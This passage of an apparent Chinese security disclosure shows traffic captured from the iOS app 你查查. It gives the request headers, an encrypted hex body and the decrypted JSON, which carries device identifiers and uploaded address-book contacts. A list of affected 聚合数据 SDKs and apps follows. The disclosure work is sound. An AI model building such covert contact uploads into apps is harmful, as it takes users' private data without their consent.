Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Language: en;q=1
Connection: keep-alive
User-Agent: Nichacha/1.6.4 (iPhone; iOS 8.1; Scale/2.00)

73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D53BF955CA1EE69492CA2B92951D630AAACF07DDBA6B0FC5EBF680558092FA451EE3DD03DF6A1A9C68BDC1DA8B435BB9D6153C148427BB5B4371C9071FC19B04A52E391960CE962CE47DB5DFFBF0B118050BE1F9E08D3137F0DBF3F7CA62BD3E0C9EB9EA5D89B024EDA2DCC42BCA338B855FD8C5C1DCCE8F5EAC43132DBB1B86C25B7178DBCAAAE928BEB1B4469B36CAB6B37CB52FD11A91F7904F100CE66C88EA565F944D78E7AC5BE9DCCB8C39BF165F3B4663145434B8A5C8A34BE68F92933639E75DFB3E55C1203AE720BA0A32C16A47B30B984AE14B9114F4870D1C0E8E59FA44E7579C1F2C30A2DC0AC3DF16ECFDF67D58706ADAEC0BA91D76BE04386F0E26A9F1D262DE155F712841D9578969A743593DF6499B05365D88B11D1D5B82A369BBB5B5C48DCC8C19CBC9306555012C498C42986F86C47DCA46AB02927D0FB60E0D0EA13104257B437E195347833CE93D0B4A8D5B9E3322EC172D27F38E567C9EFAB875D1208F5DACFB752C8067FD68D4F155449E8E795A15BE1C3AE3005BC8FA85E8EBCA35AEF67E5F30C26BE0FB2626881F2755E1DB081A02C7BB78FAB79AFD445547A8A60A415C106B9930528C271CAABCF131FC52112D49FC2F9D9D20A0BCF85745B30CCFCC16CF7A32E14FA9B313917791974B39D801C60D210096FBF7B7E006C133999662C94595E5821176E75C29620D06F09FB45C580ABCDA05C99B00DB72C6857C011E39AAE5D285B380025A3664D7C0F59600C1B9006F1BCEC7FE9E2F1FB7B4A902CCE70C281733F0312A6BED9402832EC5947867D3F2740D6831CDD5C619A98E327BD19FDBED00F54FCBD7817107E88C2ABAD210A286ED8C79CD97A45BC8A2A395A0A3072BD38403E357D474C26E2E94B884711CD37CC3B869F407B0DE77500D850A4674BC67EF8C74523D6790CC8C9FD1D541079E0006946EB71F1DC0E87216E94AF5B1B0FE7CDD849D06F12FAA8960C56BBDD2062BFB7486CC567780FDC35FA45B3CB15047D26DF99413E306282FC4B8BA623E2D373B2BA05FD474C26E2E94B884711CD37CC3B869F407B0DE77500D850A4674BC67EF8C7452D5B8021062C35544178EF469C99E447E92F98C5146DD1BA934A2C4D1D4042FF554DD76A06F427FF7203CCE40DC38B408574EAC5C26B52EFF880D57EB289C14F0F48B1CEA4B344F093A8019EA4B5AAE1D71DFFD03DE5FD9DCF408AA86FE0B3D39A7AD77626C505496BF6F85F8F2270FDBDC4C3B8436760A828A429F8296D4ACEEBEFDAC4B47DCC728B0A4F2ED1AA231D88A76C7EB42C4B10B40F48495C8DE787079ACC483DD56E4DD44D4408C976E2A678655BE449B6A4C17CB9B4F51236FE98D4E05CEAF7C6F85E2DA56A36593FC28E89FAAF8D5D9F4C2F9AE469199627047FE32A10E387AA28EDE469B6731DCF1A136033E40F0CDA1A2493B0BF376CF88FDAF5F489855F68E2D4EA860AF180D2CBE53184B1870EEE9D61A97A88418D845EA11CB9393DD60F098E48689EF3BA1F0E8324B099CBEC159817F9381EB1D34EF5F242FFDD2D77429B4F3EF61D48FAAC1709739E75DFB3E55C1203AE720BA0A32C16A9C96A85116791FD91B216951773FC4FDFA44E7579C1F2C30A2DC0AC3DF16ECFD8AF79ADF977AB5AC53BC2923DECD5E3EF8474A442B13D5FB96ACBBF1794E5EF98C619788D1F5BCEB497B0F2D32422A833727BEBB465B3EBFD04E47246DBD99AD90658AD018D0D6EED7F82B3008F4B63C1FE4BF2A6B289446DEE72601EA35025CE6F5D8FC4184F695F4135FCD929C389C42816B4361C1B1BD8CFF3B80003E72830CA4E373907C3193CCFF1DAE934AC27E351B25135A6B45BFB5BE703198B662D34CF82A234CF8800A441C403CD9314135EFFD7B2C828B1E0CB9A458095C172B38DAF11EA203F2704B3374D943D80C1EB0509CC761E6ADA75913B2BBC392ABC750503D522F15C636A994FBBE36AC355154F7333C99267C6CECE5950F2477AA309AF11E8D7A57C058934B35FB6EAE90D6C693F6F053E953D43C07A08F0CB51DE16A

解密后结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
{
"idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
"lon" : "",
"sim" : "中国电信",
"type" : "iPhone OS",
"imei" : "321a804136f53aef66a52296f4773ba4f3c1abf0",
"os" : "8.1",
"lat" : "",
"pname" : "com.thinkland.ncc",
"list" : [
{
"listNickname" : [
{
"nickname" : ""
}
],
"listPhone" : [
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 21110"
},
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 10110"
},
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 1012315"
}
],
"listOrganizations" : [
{
"company" : "Spyware Technologies LLC",
"title" : ""
}
],
"disPlayName" : "DoeJoe",
"listNoteinfo" : [
{
"noteinfo" : ""
}
],
"contactId" : "1",
"listAddress" : [
{
"street" : "",
"formatAddress" : "{\n City = Suzhou;\n Country = China;\n CountryCode = cn;\n State = Jiangsu;\n Street = \"Each St\\nChangwan\";\n ZIP = 215000;\n}",
"city" : "",
"postCode" : "",
"region" : ""
}
],
"listEmail" : [
{
"emailValue" : "spyware@spyware.tld",
"emailType" : ""
}
]
}
],
"model" : "iPhone",
"openid" : "JHaf65a935c448fe7772d219d44a49e6aa",
"network" : "CTRadioAccessTechnologyCDMAEVDORevA",
"openId" : "JHaf65a935c448fe7772d219d44a49e6aa"
}

受影响列表

为了方便检索,我将会上传通讯录的 SDK / App 列表整理在这里。

注:

  1. SDK 的下载地址和更新时间为 iOS 版本里库文件的更新时间;
  2. App 的更新时间为 App Store 里显示的时间。
名称版本号更新时间是否上传下载地址
聚合数据 SDK1.0.12014-09-23官方下载 MEGA
短信验证码 SDK1.0.12014-11-01官方下载 MEGA
条码数据 SDK1.0.22014-09-23官方下载 MEGA
比价数据 SDK1.0.02014-03-10官方下载 MEGA
电商数据 SDK1.0.02014-03-10官方下载 MEGA
你查查1.6.42014-10-09App Store
聚合基站2.3.42014-10-17App Store

另外,聚合数据首页上链接过去的 聚合数据 iOS 项目开发实战:条码查询器 内课程资料里的 Demo 亦包含会上传通讯录的代码。这里限于版权原因就不提供下载了。

结尾

最后,请聚合数据尽快删除存储在服务器上的用户隐私数据并公开承认且道歉。

以及,贵司不如帮员工报个新东方什么的英语培训班?如果新东方救不了的话,不如试试找老罗?代码里各种 typo 看的我都快吐了 :-(